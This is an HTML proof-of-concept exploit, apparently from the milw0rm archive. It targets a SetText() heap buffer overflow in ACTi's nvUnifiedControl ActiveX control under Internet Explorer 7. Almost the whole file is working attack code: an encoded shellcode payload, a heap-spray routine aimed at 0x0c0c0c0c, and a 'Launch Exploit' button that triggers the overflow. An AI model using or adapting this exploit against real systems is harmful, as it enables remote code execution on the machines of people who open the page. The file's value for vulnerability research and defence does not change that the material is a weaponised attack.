87 lines
No EOL
3.5 KiB
HTML
87 lines
No EOL
3.5 KiB
HTML
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[PoC2] NVR SP2 2.0 nvUnifiedControl.AUnifiedControl.1 (nvUnifiedControl.dll v. 1.1.45.0)
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"SetText()" Remote BoF (Heap Spray Technique)
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url: http://www.acti.com/index.asp
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author: shinnai
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mail: shinnai[at]autistici[dot]org
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site: http://shinnai.altervista.org
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This was written for educational purpose. Use it at your own risk.
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Author will be not be responsible for any damage.
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Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
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all software that use this ocx are vulnerable to this exploits.
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This control is marked as:
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RegKey Safe for Script: False
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RegKey Safe for Init: False
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Implements IObjectSafety: True
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IDisp Safe: Safe for untrusted: caller
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KillBitSet: Falso
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Heap Spray Technique was developed by SkyLined
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(http://www.edup.tudelft.nl/~bjwever/advisory_iframe.html.php)
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<object id=boom classid="clsid:A6F36F3F-3AE0-458B-AFC4-AA82565E0BF8" style="WIDTH: 578px; HEIGHT: 228px"></object>
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<input language=JavaScript onclick=tryMe() type=button value="Launch Exploit">
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<script>
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var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
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"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
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"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
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"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
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"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
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"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
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"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
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"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
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"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
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"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
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"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
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"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
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"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
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"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
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"%u652E%u6578%u9000");
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var spraySlide = unescape("%u9090%u9090");
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var heapSprayToAddress = 0x0c0c0c0c;
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function tryMe()
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{
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var size_buff = 9000;
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var x = unescape("%0c%0c%0c%0c");
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while (x.length<size_buff) x += x;
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x = x.substring(0,size_buff);
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boom.SetText(1, x, 1, 1, 1, 1, 1, "something", 1, 1, 1, 1);
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}
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function getSpraySlide(spraySlide, spraySlideSize)
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{
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while (spraySlide.length*2<spraySlideSize)
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{
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spraySlide += spraySlide;
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}
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spraySlide = spraySlide.substring(0,spraySlideSize/2);
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return (spraySlide);
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}
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var heapBlockSize = 0x800000;
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var SizeOfHeapDataMoreover = 0x5;
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var payLoadSize = (shellcode.length * 2);
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var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
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var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;
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var memory = new Array();
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spraySlide = getSpraySlide(spraySlide,spraySlideSize);
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for (i=0;i<heapBlocks;i++)
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{
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memory[i] = spraySlide + shellcode;
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}
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</script>
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# milw0rm.com [2007-08-28] |